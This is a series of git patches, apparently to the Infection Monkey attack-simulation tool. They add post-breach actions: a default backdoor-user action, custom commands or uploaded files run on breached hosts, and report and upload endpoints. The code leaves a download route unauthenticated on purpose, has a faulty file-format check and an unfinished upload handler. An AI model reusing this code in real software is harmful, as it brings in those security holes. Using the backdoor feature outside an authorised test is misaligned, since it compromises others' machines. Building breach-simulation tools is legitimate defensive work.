should_encrypt: try: ConfigService.encrypt_config(config_json) @@ -281,3 +287,44 @@ class ConfigService: pair['public_key'] = encryptor.dec(pair['public_key']) pair['private_key'] = encryptor.dec(pair['private_key']) return pair + + @staticmethod + def add_PBA_files(post_breach_files): + """ + Interceptor of config saving process that uploads PBA files to server + and saves filenames and sizes in config instead of full file. + :param post_breach_files: Data URL encoded files + """ + # If any file is uploaded + if any(file_name in post_breach_files for file_name in ['linux_file', 'windows_file']): + # Create directory for file uploads if not present + if not os.path.exists(UPLOADS_DIR): + os.makedirs(UPLOADS_DIR) + if 'linux_file' in post_breach_files: + linux_name, linux_size = ConfigService.upload_file(post_breach_files['linux_file'], UPLOADS_DIR) + post_breach_files['linux_file_info']['name'] = linux_name + post_breach_files['linux_file_info']['size'] = linux_size + if 'windows_file' in post_breach_files: + windows_name, windows_size = ConfigService.upload_file(post_breach_files['windows_file'], UPLOADS_DIR) + post_breach_files['windows_file_info']['name'] = windows_name + post_breach_files['windows_file_info']['size'] = windows_size + + @staticmethod + def upload_file(file_data, directory): + """ + We parse data URL format of the file and save it + :param file_data: file encoded in data URL format + :param directory: where to save the file + :return: filename of saved file + """ + file_parts = file_data.split(';') + if len(file_parts) != 3 and not file_parts[2].startswith('base64,'): + logger.error("Invalid file format was submitted to the server") + return False + # Strip 'name=' from this field and secure the filename + filename = secure_filename(file_parts[1][5:]) + file_path = os.path.join(directory, filename) + with open(file_path, 'wb') as file_: + file_.write(base64.decodestring(file_parts[2][7:])) + file_size = os.path.getsize(file_path) + return [filename, file_size] diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index ff27cf101..dfc27e510 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -94,6 +94,19 @@ SCHEMA = { } ] }, + "post_breach_acts": { + "title": "Post breach actions", + "type": "string", + "anyOf": [ + { + "type": "string", + "enum": [ + "BackdoorUser" + ], + "title": "Back door user", + }, + ], + }, "finger_classes": { "title": "Fingerprint class", "type": "string", @@ -282,26 +295,84 @@ SCHEMA = { "type": "boolean", "default": True, "description": "Is the monkey alive" - } + }, + "post_breach_actions": { + "title": "Post breach actions", + "type": "array", + "uniqueItems": True, + "items": { + "$ref": "#/definitions/post_breach_acts" + }, + "default": [ + "BackdoorUser", + ], + "description": "List of actions the Monkey will run post breach" + }, } }, "behaviour": { "title": "Behaviour", "type": "object", "properties": { - "post_breach_actions": { - "title": "Post breach actions", + "custom_post_breach": { + "title": "Custom post breach actions", "type": "object", "properties": { "linux": { "title": "Linux command", "type": "string", - "description": "Linux command to execute after breaching" + "default": "", + "description": "Linux command to execute after breaching." + }, + "linux_file": { + "title": "Linux file", + "type": "string", + "format": "data-url", + "description": "File to be executed after breaching. " + "If you want custom execution behavior, " + "specify it in 'Linux command' field. " }, "windows": { "title": "Windows command", "type": "string", + "default": "", "description": "Windows command to execute after breaching" + }, + "windows_file": { + "title": "Windows file", + "type": "string", + "format": "data-url", + "description": "File to be executed after breaching. " + "If you want custom execution behavior, " + "specify it in 'Windows command' field. " + }, + "windows_file_info": { + "title": "Windows PBA file info", + "type": "object", + "properties": { + "name": { + "type": "string", + "default": "" + }, + "size": { + "type": "string", + "default": "0" + }, + } + }, + "linux_file_info": { + "title": "Linux PBA file info", + "type": "object", + "properties": { + "name": { + "type": "string", + "default": "" + }, + "size": { + "type": "string", + "default": "0" + }, + } } }, "default": [ diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 68304e60b..0360ae73c 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -143,7 +143,7 @@ class NodeService: "os": NodeService.get_monkey_os(monkey), "dead": monkey["dead"], "domain_name": "", - "post_breach_actions": monkey["post_breach_actions"] + "post_breach_actions": monkey["post_breach_actions"] if "post_breach_actions" in monkey else "" } @staticmethod diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 05e29fde0..078bfccd0 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -59,6 +59,16 @@ class ConfigurePageComponent extends AuthComponent { }) .then(res => res.json()) .then(res => { + // Leave PBA files on external configuration + if ('linux_file' in this.state.configuration.monkey.behaviour.custom_post_breach){ + let linux_file = this.state.configuration.monkey.behaviour.custom_post_breach.linux_file; + res.configuration.monkey.behaviour.custom_post_breach.windows_file = linux_file; + } + if ('windows_file' in this.state.configuration.monkey.behaviour.custom_post_breach){ + let windows_file = this.state.configuration.monkey.behaviour.custom_post_breach.windows_file; + res.configuration.monkey.behaviour.custom_post_breach.linux_file = windows_file; + } + this.setState({ lastAction: 'saved', schema: res.schema, @@ -154,7 +164,7 @@ class ConfigurePageComponent extends AuthComponent { let displayedSchema = {}; const uiSchema = { behaviour: { - post_breach_actions: { + custom_post_breach: { linux: { "ui:widget": "textarea" }, @@ -193,7 +203,7 @@ class ConfigurePageComponent extends AuthComponent { uiSchema={uiSchema} formData={this.state.configuration[this.state.selectedSection]} onSubmit={this.onSubmit} - onChange={this.onChange}> + onChange={this.onChange} >
{ this.state.allMonkeysAreDead ? '' : diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index b5ab30581..643004bd3 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -2,6 +2,7 @@ import React from 'react'; import {Button, Col} from 'react-bootstrap'; import BreachedServers from 'components/report-components/BreachedServers'; import ScannedServers from 'components/report-components/ScannedServers'; +import PostBreach from 'components/report-components/PostBreach'; import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; import {edgeGroupToColor, options} from 'components/map/MapOptions'; import StolenPasswords from 'components/report-components/StolenPasswords'; @@ -460,6 +461,9 @@ class ReportPageComponent extends AuthComponent {
+
+ +
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js index 02ed3610f..16f445ce9 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js @@ -9,10 +9,6 @@ let renderIpAddresses = function (val) { return
{renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
; }; -let renderPostBreach = function (val) { - return
{val.map(x =>
Name: {x.name}
Command: {x.command}
Output: {x.output}
)}
; -}; - const columns = [ { Header: 'Breached Servers', @@ -20,9 +16,7 @@ const columns = [ {Header: 'Machine', accessor: 'label'}, {Header: 'IP Addresses', id: 'ip_addresses', accessor: x => renderIpAddresses(x)}, - {Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)}, - {Header: 'Post breach actions:', id: 'post_breach_actions', accessor: x => renderPostBreach(x.post_breach_actions)} - + {Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)} ] } ]; diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js new file mode 100644 index 000000000..105978429 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js @@ -0,0 +1,53 @@ +import React from 'react'; +import ReactTable from 'react-table' + +let renderArray = function(val) { + return
{val.map(x =>
{x}
)}
; +}; + +let renderIpAddresses = function (val) { + return
{renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
; +}; + +let renderPostBreach = function (val) { + return
{val.map(x =>
Name: {x.name}
Command: {x.command}
Output: {x.output}
)}
; +}; + +let renderMachine = function (val) { + return
{val.label} {renderIpAddresses(val)}
+}; + +const columns = [ + { + Header: 'Post breach actions', + columns: [ + {Header: 'Machine', id: 'machines', accessor: x => renderMachine(x)}, + {Header: 'Post breach actions:', id: 'post_breach_actions', accessor: x => renderPostBreach(x.post_breach_actions)} + ] + } +]; + +const pageSize = 10; + +class PostBreachComponent extends React.Component { + constructor(props) { + super(props); + } + + render() { + let defaultPageSize = this.props.data.length > pageSize ? pageSize : this.props.data.length; + let showPagination = this.props.data.length > pageSize; + return ( +
+ +
+ ); + } +} + +export default PostBreachComponent; From 4292fc845b7d15b64d6922af12723e3f8e048cd8 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 19 Feb 2019 21:22:41 +0200 Subject: [PATCH 07/19] File deletion --- .gitignore | 3 +++ monkey/monkey_island/cc/resources/monkey.py | 3 +++ monkey/monkey_island/cc/resources/root.py | 1 + monkey/monkey_island/cc/services/config.py | 21 +++++++++++++++++++++ 4 files changed, 28 insertions(+) diff --git a/.gitignore b/.gitignore index 44ae856a5..062bf065e 100644 --- a/.gitignore +++ b/.gitignore @@ -68,3 +68,6 @@ bin /monkey/monkey_island/cc/server.crt /monkey/monkey_island/cc/server.csr /monkey/monkey_island/cc/ui/node_modules/ + +# User files +/monkey/monkey_island/cc/userUploads diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index 80dd14604..171456d42 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -25,6 +25,9 @@ class Monkey(flask_restful.Resource): if guid: monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid}) monkey_json['config'] = ConfigService.decrypt_flat_config(monkey_json['config']) + # Don't send file contents to the monkey + monkey_json['config']['custom_post_breach']['linux_file'] = '' + monkey_json['config']['custom_post_breach']['windows_file'] = '' return monkey_json return {} diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py index 10e8f5170..1a18c2611 100644 --- a/monkey/monkey_island/cc/resources/root.py +++ b/monkey/monkey_island/cc/resources/root.py @@ -42,6 +42,7 @@ class Root(flask_restful.Resource): @staticmethod @jwt_required() def reset_db(): + ConfigService.remove_PBA_files() # We can't drop system collections. [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] ConfigService.init_config() diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 76a67a3c4..ae09ed176 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -179,6 +179,7 @@ class ConfigService: @staticmethod def reset_config(): + ConfigService.remove_PBA_files() config = ConfigService.get_default_config(True) ConfigService.set_server_ips_in_config(config) ConfigService.update_config(config, should_encrypt=False) @@ -309,6 +310,26 @@ class ConfigService: post_breach_files['windows_file_info']['name'] = windows_name post_breach_files['windows_file_info']['size'] = windows_size + @staticmethod + def remove_PBA_files(): + # Remove PBA files + current_config = ConfigService.get_config() + if current_config: + linux_file_name = ConfigService.get_config_value(['monkey', 'behaviour', 'custom_post_breach', 'linux_file_info', 'name']) + windows_file_name = ConfigService.get_config_value(['monkey', 'behaviour', 'custom_post_breach', 'windows_file_info', 'name']) + ConfigService.remove_file(linux_file_name) + ConfigService.remove_file(windows_file_name) + + @staticmethod + def remove_file(file_name): + file_path = os.path.join(UPLOADS_DIR, file_name) + try: + if os.path.exists(file_path): + os.remove(file_path) + except OSError as e: + logger.error("Can't remove previously uploaded post breach files: %s" % e) + + @staticmethod def upload_file(file_data, directory): """ From a51d7da1f90b10e13b69556b1cdc3a47d74f9f23 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 25 Feb 2019 14:29:47 +0200 Subject: [PATCH 08/19] Refactoring file upload UI -> server to be via filepond --- monkey/monkey_island/cc/app.py | 2 + .../monkey_island/cc/resources/file_upload.py | 29 + monkey/monkey_island/cc/services/config.py | 40 +- .../cc/services/config_schema.py | 2 - monkey/monkey_island/cc/ui/package-lock.json | 832 +++++++++--------- monkey/monkey_island/cc/ui/package.json | 2 + .../ui/src/components/pages/ConfigurePage.js | 27 +- monkey/monkey_island/cc/ui/src/index.js | 2 + 8 files changed, 471 insertions(+), 465 deletions(-) create mode 100644 monkey/monkey_island/cc/resources/file_upload.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 350c0b861..fd95abc6b 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -29,6 +29,7 @@ from cc.resources.telemetry import Telemetry from cc.resources.telemetry_feed import TelemetryFeed from cc.resources.pba_file_download import PBAFileDownload from cc.services.config import ConfigService +from cc.resources.file_upload import FileUpload __author__ = 'Barak' @@ -118,6 +119,7 @@ def init_app(mongo_url): api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') api.add_resource(PBAFileDownload, '/api/pba/download/') + api.add_resource(FileUpload, '/api/fileUpload/') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') return app diff --git a/monkey/monkey_island/cc/resources/file_upload.py b/monkey/monkey_island/cc/resources/file_upload.py new file mode 100644 index 000000000..7e53ab3be --- /dev/null +++ b/monkey/monkey_island/cc/resources/file_upload.py @@ -0,0 +1,29 @@ +import flask_restful +from flask import request, send_from_directory +from cc.services.config import ConfigService +import os +from werkzeug.utils import secure_filename + +UPLOADS_DIR = "./monkey_island/cc/userUploads" + + +class FileUpload(flask_restful.Resource): + # Used by monkey. can't secure. + def get(self, path): + return send_from_directory(UPLOADS_DIR, path) + + def post(self, file_type): + if file_type == 'PBAlinux': + config = ConfigService.get_config() + file_info = ConfigService.get_config_value(['monkey', 'behaviour', 'custom_post_breach', 'linux_file_info']) + filename = secure_filename(request.files['filepond'].filename) + file_path = os.path.join(UPLOADS_DIR, filename) + request.files['filepond'].save(file_path) + file_size = os.path.getsize(file_path) + # config['monkey']['behaviour']['cutom_post_breach']['linux_file_info']['size'] = file_size + # config['monkey']['behaviour']['cutom_post_breach']['linux_file_info']['name'] = filename + # ConfigService.update_config(config, True) + + + elif file_type == 'PBAwindows': + request.files['filepond'].save("./useless.file") diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index ae09ed176..b65517de0 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -70,11 +70,13 @@ class ConfigService: :param is_initial_config: If True, returns the value of the initial config instead of the current config. :param should_decrypt: If True, the value of the config key will be decrypted (if it's in the list of encrypted config values). - :return: The value of the requested config key. + :return: The value of the requested config key or False, if such key doesn't exist. """ config_key = functools.reduce(lambda x, y: x + '.' + y, config_key_as_arr) config = mongo.db.config.find_one({'name': 'initial' if is_initial_config else 'newconfig'}, {config_key: 1}) for config_key_part in config_key_as_arr: + if config_key_part not in config: + return False config = config[config_key_part] if should_decrypt: if config_key_as_arr in ENCRYPTED_CONFIG_ARRAYS: @@ -142,8 +144,6 @@ class ConfigService: @staticmethod def update_config(config_json, should_encrypt): - if 'custom_post_breach' in config_json['monkey']['behaviour']: - ConfigService.add_PBA_files(config_json['monkey']['behaviour']['custom_post_breach']) if should_encrypt: try: ConfigService.encrypt_config(config_json) @@ -211,13 +211,7 @@ class ConfigService: if instance != {}: return for property, subschema in properties.iteritems(): - main_dict = {} - for property2, subschema2 in subschema["properties"].iteritems(): - sub_dict = {} - for property3, subschema3 in subschema2["properties"].iteritems(): - if "default" in subschema3: - sub_dict[property3] = subschema3["default"] - main_dict[property2] = sub_dict + main_dict = ConfigService.r_get_properties(subschema) instance.setdefault(property, main_dict) for error in validate_properties(validator, properties, instance, schema): @@ -227,6 +221,16 @@ class ConfigService: validator_class, {"properties": set_defaults}, ) + @staticmethod + def r_get_properties(schema): + if "default" in schema: + return schema["default"] + if "properties" in schema: + dict_ = {} + for property, subschema in schema["properties"].iteritems(): + dict_[property] = ConfigService.r_get_properties(subschema) + return dict_ + @staticmethod def decrypt_config(config): ConfigService._encrypt_or_decrypt_config(config, True) @@ -312,13 +316,15 @@ class ConfigService: @staticmethod def remove_PBA_files(): - # Remove PBA files - current_config = ConfigService.get_config() - if current_config: - linux_file_name = ConfigService.get_config_value(['monkey', 'behaviour', 'custom_post_breach', 'linux_file_info', 'name']) - windows_file_name = ConfigService.get_config_value(['monkey', 'behaviour', 'custom_post_breach', 'windows_file_info', 'name']) - ConfigService.remove_file(linux_file_name) - ConfigService.remove_file(windows_file_name) + if ConfigService.get_config(): + linux_file_name = ConfigService.get_config_value( + ['monkey', 'behaviour', 'custom_post_breach', 'linux_file_info', 'name']) + windows_file_name = ConfigService.get_config_value( + ['monkey', 'behaviour', 'custom_post_breach', 'windows_file_info', 'name']) + if linux_file_name: + ConfigService.remove_file(linux_file_name) + if windows_file_name: + ConfigService.remove_file(windows_file_name) @staticmethod def remove_file(file_name): diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index dfc27e510..5d3aec681 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -375,8 +375,6 @@ SCHEMA = { } } }, - "default": [ - ], "description": "List of actions the Monkey will run post breach" }, "self_delete_in_cleanup": { diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json index 30c37db74..11fafe535 100644 --- a/monkey/monkey_island/cc/ui/package-lock.json +++ b/monkey/monkey_island/cc/ui/package-lock.json @@ -3055,7 +3055,7 @@ "copy-to-clipboard": { "version": "3.0.8", "resolved": "https://registry.npmjs.org/copy-to-clipboard/-/copy-to-clipboard-3.0.8.tgz", - "integrity": "sha1-9OgvSogw3ORma3643tDJvMMTq6k=", + "integrity": "sha512-c3GdeY8qxCHGezVb1EFQfHYK/8NZRemgcTIzPq7PuxjHAf/raKibn2QdhHPb/y6q74PMgH6yizaDZlRmw6QyKw==", "requires": { "toggle-selection": "1.0.6" } @@ -3086,9 +3086,9 @@ "integrity": "sha512-4FG+RSG9DL7uEwRUZXZn3SS34DiDPfzP0VOiEwtUWlE+AR2EIg+hSyvrIgUUfhdgR/UkAeW2QHgeP+hWrXs7jQ==", "dev": true, "requires": { - "string-width": "^2.1.1", - "strip-ansi": "^4.0.0", - "wrap-ansi": "^2.0.0" + "string-width": "2.1.1", + "strip-ansi": "4.0.0", + "wrap-ansi": "2.1.0" } }, "find-up": { @@ -3097,7 +3097,7 @@ "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=", "dev": true, "requires": { - "locate-path": "^2.0.0" + "locate-path": "2.0.0" } }, "strip-ansi": { @@ -3106,7 +3106,7 @@ "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { - "ansi-regex": "^3.0.0" + "ansi-regex": "3.0.0" } }, "yargs": { @@ -3115,18 +3115,18 @@ "integrity": "sha512-NwW69J42EsCSanF8kyn5upxvjp5ds+t3+udGBeTbFnERA+lF541DDpMawzo4z6W/QrzNM18D+BPMiOBibnFV5A==", "dev": true, "requires": { - "cliui": "^4.0.0", - "decamelize": "^1.1.1", - "find-up": "^2.1.0", - "get-caller-file": "^1.0.1", - "os-locale": "^2.0.0", - "require-directory": "^2.1.1", - "require-main-filename": "^1.0.1", - "set-blocking": "^2.0.0", - "string-width": "^2.0.0", - "which-module": "^2.0.0", - "y18n": "^3.2.1", - "yargs-parser": "^9.0.2" + "cliui": "4.1.0", + "decamelize": "1.2.0", + "find-up": "2.1.0", + "get-caller-file": "1.0.3", + "os-locale": "2.1.0", + "require-directory": "2.1.1", + "require-main-filename": "1.0.1", + "set-blocking": "2.0.0", + "string-width": "2.1.1", + "which-module": "2.0.0", + "y18n": "3.2.1", + "yargs-parser": "9.0.2" } } } @@ -4193,9 +4193,9 @@ "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", "dev": true, "requires": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" + "ansi-styles": "3.2.1", + "escape-string-regexp": "1.0.5", + "supports-color": "5.5.0" } }, "cross-spawn": { @@ -4204,11 +4204,11 @@ "integrity": "sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==", "dev": true, "requires": { - "nice-try": "^1.0.4", - "path-key": "^2.0.1", - "semver": "^5.5.0", - "shebang-command": "^1.2.0", - "which": "^1.2.9" + "nice-try": "1.0.5", + "path-key": "2.0.1", + "semver": "5.5.1", + "shebang-command": "1.2.0", + "which": "1.3.0" } }, "debug": { @@ -4226,8 +4226,8 @@ "integrity": "sha512-1G6UTDi7Jc1ELFwnR58HV4fK9OQK4S6N985f166xqXxpjU6plxFISJa2Ba9KCQuFa8RCnj/lSFJbHo7UFDBnUA==", "dev": true, "requires": { - "esrecurse": "^4.1.0", - "estraverse": "^4.1.1" + "esrecurse": "4.2.1", + "estraverse": "4.2.0" } }, "esprima": { @@ -4266,8 +4266,8 @@ "integrity": "sha512-PIt2cnwmPfL4hKNwqeiuz4bKfnzHTBv6HyVgjahA6mPLwPDzjDWrplJBMjHUFxku/N3FlmrbyPclad+I+4mJ3A==", "dev": true, "requires": { - "argparse": "^1.0.7", - "esprima": "^4.0.0" + "argparse": "1.0.9", + "esprima": "4.0.1" } }, "json-schema-traverse": { @@ -4300,7 +4300,7 @@ "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "requires": { - "ansi-regex": "^3.0.0" + "ansi-regex": "3.0.0" } }, "supports-color": { @@ -4333,9 +4333,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" } } } @@ -4882,6 +4882,11 @@ "dev": true, "optional": true }, + "filepond": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/filepond/-/filepond-4.2.0.tgz", + "integrity": "sha512-JTSvxTQGbCXMZGoPOIjCKImv+Al3Y5z3f6gRoUGlQdqpnMHdnwOV0WG3hRCVBDN64ctAN3pgKtofkWfsnwwoTA==" + }, "fill-range": { "version": "2.2.3", "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-2.2.3.tgz", @@ -5194,8 +5199,8 @@ "dev": true, "optional": true, "requires": { - "co": "^4.6.0", - "json-stable-stringify": "^1.0.1" + "co": "4.6.0", + "json-stable-stringify": "1.0.1" } }, "ansi-regex": { @@ -5267,27 +5272,24 @@ "version": "0.0.9", "bundled": true, "dev": true, - "optional": true, "requires": { - "inherits": "~2.0.0" + "inherits": "2.0.3" } }, "boom": { "version": "2.10.1", "bundled": true, "dev": true, - "optional": true, "requires": { - "hoek": "2.x.x" + "hoek": "2.16.3" } }, "brace-expansion": { "version": "1.1.7", "bundled": true, "dev": true, - "optional": true, "requires": { - "balanced-match": "^0.4.1", + "balanced-match": "0.4.2", "concat-map": "0.0.1" } }, @@ -5311,35 +5313,30 @@ "code-point-at": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "combined-stream": { "version": "1.0.5", "bundled": true, "dev": true, - "optional": true, "requires": { - "delayed-stream": "~1.0.0" + "delayed-stream": "1.0.0" } }, "concat-map": { "version": "0.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "console-control-strings": { "version": "1.1.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "core-util-is": { "version": "1.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "cryptiles": { "version": "2.0.5", @@ -5347,7 +5344,7 @@ "dev": true, "optional": true, "requires": { - "boom": "2.x.x" + "boom": "2.10.1" } }, "dashdash": { @@ -5356,7 +5353,7 @@ "dev": true, "optional": true, "requires": { - "assert-plus": "^1.0.0" + "assert-plus": "1.0.0" }, "dependencies": { "assert-plus": { @@ -5385,8 +5382,7 @@ "delayed-stream": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "delegates": { "version": "1.0.0", @@ -5400,7 +5396,7 @@ "dev": true, "optional": true, "requires": { - "jsbn": "~0.1.0" + "jsbn": "0.1.1" } }, "extend": { @@ -5412,8 +5408,7 @@ "extsprintf": { "version": "1.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "forever-agent": { "version": "0.6.1", @@ -5435,14 +5430,12 @@ "fs.realpath": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "fstream": { "version": "1.0.11", "bundled": true, "dev": true, - "optional": true, "requires": { "graceful-fs": "4.1.11", "inherits": "2.0.3", @@ -5483,7 +5476,7 @@ "dev": true, "optional": true, "requires": { - "assert-plus": "^1.0.0" + "assert-plus": "1.0.0" }, "dependencies": { "assert-plus": { @@ -5498,7 +5491,6 @@ "version": "7.1.2", "bundled": true, "dev": true, - "optional": true, "requires": { "fs.realpath": "1.0.0", "inflight": "1.0.6", @@ -5511,8 +5503,7 @@ "graceful-fs": { "version": "4.1.11", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "har-schema": { "version": "1.0.5", @@ -5526,8 +5517,8 @@ "dev": true, "optional": true, "requires": { - "ajv": "^4.9.1", - "har-schema": "^1.0.5" + "ajv": "4.11.8", + "har-schema": "1.0.5" } }, "has-unicode": { @@ -5551,8 +5542,7 @@ "hoek": { "version": "2.16.3", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "http-signature": { "version": "1.1.1", @@ -5569,7 +5559,6 @@ "version": "1.0.6", "bundled": true, "dev": true, - "optional": true, "requires": { "once": "1.4.0", "wrappy": "1.0.2" @@ -5590,7 +5579,6 @@ "version": "1.0.0", "bundled": true, "dev": true, - "optional": true, "requires": { "number-is-nan": "1.0.1" } @@ -5604,8 +5592,7 @@ "isarray": { "version": "1.0.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "isstream": { "version": "0.1.2", @@ -5619,14 +5606,13 @@ "dev": true, "optional": true, "requires": { - "jsbn": "~0.1.0" + "jsbn": "0.1.1" } }, "jsbn": { "version": "0.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "json-schema": { "version": "0.2.3", @@ -5640,7 +5626,7 @@ "dev": true, "optional": true, "requires": { - "jsonify": "~0.0.0" + "jsonify": "0.0.0" } }, "json-stringify-safe": { @@ -5678,14 +5664,12 @@ "mime-db": { "version": "1.27.0", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "mime-types": { "version": "2.1.15", "bundled": true, "dev": true, - "optional": true, "requires": { "mime-db": "1.27.0" } @@ -5694,7 +5678,6 @@ "version": "3.0.4", "bundled": true, "dev": true, - "optional": true, "requires": { "brace-expansion": "1.1.7" } @@ -5702,14 +5685,12 @@ "minimist": { "version": "0.0.8", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "mkdirp": { "version": "0.5.1", "bundled": true, "dev": true, - "optional": true, "requires": { "minimist": "0.0.8" } @@ -5762,8 +5743,7 @@ "number-is-nan": { "version": "1.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "oauth-sign": { "version": "0.8.2", @@ -5810,8 +5790,7 @@ "path-is-absolute": { "version": "1.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "performance-now": { "version": "0.2.0", @@ -5822,8 +5801,7 @@ "process-nextick-args": { "version": "1.0.7", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "punycode": { "version": "1.4.1", @@ -5861,7 +5839,6 @@ "version": "2.2.9", "bundled": true, "dev": true, - "optional": true, "requires": { "buffer-shims": "1.0.0", "core-util-is": "1.0.2", @@ -5906,7 +5883,6 @@ "version": "2.6.1", "bundled": true, "dev": true, - "optional": true, "requires": { "glob": "7.1.2" } @@ -5914,8 +5890,7 @@ "safe-buffer": { "version": "5.0.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "semver": { "version": "5.3.0", @@ -5973,7 +5948,6 @@ "version": "1.0.2", "bundled": true, "dev": true, - "optional": true, "requires": { "code-point-at": "1.1.0", "is-fullwidth-code-point": "1.0.0", @@ -5984,7 +5958,6 @@ "version": "1.0.1", "bundled": true, "dev": true, - "optional": true, "requires": { "safe-buffer": "5.0.1" } @@ -5999,7 +5972,6 @@ "version": "3.0.1", "bundled": true, "dev": true, - "optional": true, "requires": { "ansi-regex": "2.1.1" } @@ -6014,7 +5986,6 @@ "version": "2.2.1", "bundled": true, "dev": true, - "optional": true, "requires": { "block-stream": "0.0.9", "fstream": "1.0.11", @@ -6070,8 +6041,7 @@ "util-deprecate": { "version": "1.0.2", "bundled": true, - "dev": true, - "optional": true + "dev": true }, "uuid": { "version": "3.0.1", @@ -6465,7 +6435,7 @@ "history": { "version": "4.7.2", "resolved": "https://registry.npmjs.org/history/-/history-4.7.2.tgz", - "integrity": "sha1-IrXH8xYzxbgCHH9KipVKwTnujVs=", + "integrity": "sha512-1zkBRWW6XweO0NBcjiphtVJVsIQ+SXF29z9DVkceeaSLVMFXHool+fdCZD4spDCfZJCILPILc3bm7Bc+HRi0nA==", "requires": { "invariant": "2.2.2", "loose-envify": "1.3.1", @@ -7203,7 +7173,7 @@ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", "dev": true, "requires": { - "color-convert": "^1.9.0" + "color-convert": "1.9.0" } }, "chalk": { @@ -7212,9 +7182,9 @@ "integrity": 